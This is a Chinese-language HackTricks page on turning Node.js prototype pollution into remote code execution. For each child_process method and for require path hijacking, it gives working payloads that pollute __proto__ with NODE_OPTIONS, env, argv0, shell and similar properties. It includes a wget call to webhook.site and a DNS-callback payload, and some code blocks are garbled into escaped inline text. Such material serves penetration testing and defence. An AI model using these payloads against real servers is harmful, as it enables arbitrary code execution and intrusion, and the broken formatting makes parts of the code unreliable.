# Prototype Pollution to RCE

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 可能受到影响的代码

想象一个真实的JS使用以下代码：

```javascript
const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');
```

## 通过环境变量实现PP2RCE

**PP2RCE** 意味着 **原型污染到远程代码执行**（Remote Code Execution）。

根据这个[**解说**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)，当使用 **`child_process`** 中的某个方法（如 `fork` 或 `spawn` 或其他方法）生成一个 **进程** 时，它会调用方法 `normalizeSpawnArguments`，这个方法利用 **原型污染小工具来创建新的环境变量**：

```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```

### **污染 `__proto__`**

{% hint style="warning" %}
请注意，由于`node`的`child_process`库中的`normalizeSpawnArguments`函数的工作方式，当调用某些内容以为进程设置新的环境变量时，你只需要**污染任何内容**。\
例如，如果你执行`__proto__.avar="valuevar"`，进程将被生成一个名为`avar`，值为`valuevar`的变量。

然而，为了使**环境变量成为第一个变量**，你需要**污染**`.env`属性，并且（仅在某些方法中）该变量将成为**第一个变量**（从而允许攻击）。

这就是为什么在以下攻击中\*\*`NODE_OPTIONS`\*\*不在`.env`中的原因。
{% endhint %}

{% code overflow="wrap" %}

```javascript
const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```

{% endcode %}

## DNS 交互

使用以下有效载荷，可以滥用我们之前讨论过的 NODE\_OPTIONS 环境变量，并通过 DNS 交互检测是否起作用：

```json
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}
```

或者，为了避免WAF要求域名：

```json
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}
```

## PP2RCE漏洞child\_process函数

在这一部分中，我们将分析`child_process`中的**每个函数**，以执行代码并查看是否可以使用任何技术来强制该函数执行代码：

<details>

<summary><code>exec</code>利用</summary>

{% code overflow="wrap" %}

```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
```

{% endcode %}

</details>

<details>

<summary><strong><code>execFile</code>利用</strong></summary>

\`\`\`javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

````
**`execFile`** 要工作，**必须执行 node** 以使 NODE\_OPTIONS 起作用。\
如果**没有**执行 **node**，您需要找出如何通过环境变量**修改执行**任何正在执行的内容并设置它们。

**其他**技术**无需**此要求，因为可以通过原型污染**修改执行内容**。（在这种情况下，即使您可以污染 `.shell`，也不会污染正在执行的内容）。
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
````

</details>

<details>

<summary><strong><code>spawn</code>利用</strong></summary>

\`\`\`javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child\_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.\_\_proto\_\_.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.env = { "EVIL":"console.log(require('child\_process').execSync('touch /tmp/spawn-environ').toString())//"} p.\_\_proto\_\_.NODE\_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',\[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',\[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working // Not using stdin

// Windows // NOT working after require(fix) without options const { spawn } = require('child\_process'); p = {} p.**proto**.shell = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',\[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

````
</details>

<details>

<summary><strong><code>execFileSync</code>利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
````

</details>

<details>

<summary><strong><code>execSync</code>利用</strong></summary>

\`\`\`javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.\_\_proto\_\_.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.env = { "EVIL":"console.log(require('child\_process').execSync('touch /tmp/execSync-environ').toString())//"} p.\_\_proto\_\_.NODE\_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} p.**proto**.argv0 = "/usr/bin/vim" p.**proto**.shell = "/usr/bin/vim" p.**proto**.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} p.**proto**.shell = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

````
</details>

<details>

<summary><strong><code>spawnSync</code>利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
````

</details>

## 强制执行Spawn

在之前的示例中，您看到了如何触发一个功能，该功能需要调用`spawn`（用于执行某些操作的`child_process`的所有方法都会调用它）。在之前的示例中，这是代码的一部分，但如果代码没有调用它呢。

### 控制require文件路径

在这个[其他解释](https://blog.sonarsource.com/blitzjs-prototype-pollution/)中，用户可以控制文件路径，其中将执行`require`。在这种情况下，攻击者只需要找到系统中将在导入时执行spawn方法的`.js`文件。\
一些常见文件导入时调用spawn函数的示例包括：

* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* 查找下面的更多文件

以下简单脚本将搜索来自`child_process`的调用，而不带任何填充（以避免显示在函数内部的调用）：

```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
```

```html

</div>

<details>

<summary>先前脚本发现的有趣文件</summary>

* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/npm/scripts/**changelog.js**:16:`const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)`
* node\_modules/detect-libc/bin/**detect-libc.js**:18:`process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);`
* node\_modules/jest-expo/bin/**jest.js**:26:`const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });`
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/runtypes/scripts/**format.js**:13:`const npmBinPath = execSync('npm bin').toString().trim();`
* node\_modules/node-pty/scripts/**publish.js**:31:`const result = cp.spawn('npm', args, { stdio: 'inherit' });`

</details>

### 通过原型污染设置要求文件路径

<div data-gb-custom-block data-tag="hint" data-style='warning'>

**先前的技术要求**用户**控制要求的文件路径**。但这并不总是正确的。

</div>

然而，如果代码在原型污染后执行要求，即使**你无法控制要求的路径**，你**可以滥用原型污染来强制执行不同的路径**。因此，即使代码行类似于 `require("./a_file.js")` 或 `require("bytes")`，它将**要求你污染的包**。

因此，如果在原型污染后执行了要求且没有生成函数，这是攻击方式：

* 找到系统中的一个**`.js`文件**，当**要求**时将**使用`child_process`执行某些内容**
* 如果你可以上传文件到攻击的平台，你可以上传一个类似的文件
* 污染路径以**强制要求加载`.js`文件**，该文件将使用`child_process`执行某些内容
* **污染环境/cmdline**以在调用`child_process`执行函数时执行任意代码（参见最初的技术）

#### 绝对要求

如果执行的要求是**绝对的**（`require("bytes")`）且**包中不包含`package.json`文件中的主要内容**，你可以**污染`main`属性**并使**要求执行不同的文件**。

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='exploit'>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");
```

#### 相对路径加载 - 1

如果加载的是**相对路径**而不是绝对路径，您可以让节点**加载不同的路径**：

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```

#### 相对路径 require - 2

{% code overflow="wrap" %}

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

{% endcode %}

\`\`\`javascript const { fork } = require('child\_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); \`\`\` #### 相对路径 require - 3

类似于前一个示例，这个漏洞在[**这篇文章**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)中被发现。

```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')
```

## VM Gadgets

在论文<https://arxiv.org/pdf/2207.11171.pdf>中还指出，可以利用\*\*`vm`**库的某些方法中的**`contextExtensions`**的控制作为一个gadget。**\
**然而，就像之前的**`child_process`**方法一样，在最新版本中已经被**修复\*\*。

## Fixes & Unexpected protections

请注意，如果正在访问的对象的**属性**是**undefined**，则原型污染会起作用。如果在**代码**中为该**属性**设置了一个**值**，则**无法覆盖**它。

在2022年6月，从[**此提交**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)中，变量`options`不再是`{}`，而是\*\*`kEmptyObject`**。这样可以**防止原型污染**影响**`options`**的**属性**以获取RCE。**\
**至少从v18.4.0开始，这种保护已经**实施\*\*，因此影响这些方法的`spawn`和`spawnSync`**利用**（如果未使用`options`）**不再起作用**！

在[**此提交**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)中，还**在某种程度上修复了**vm库中\*\*`contextExtensions`**的**原型污染\*\*，将选项设置为\*\*`kEmptyObject`**而不是**`{}`\*\*。

### **其他 Gadgets**

* <https://github.com/yuske/server-side-prototype-pollution>
* <https://github.com/KTH-LangSec/server-side-prototype-pollution>

## References

* <https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>
* <https://blog.sonarsource.com/blitzjs-prototype-pollution/>
* <https://arxiv.org/pdf/2207.11171.pdf>
* <https://portswigger.net/research/server-side-prototype-pollution>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
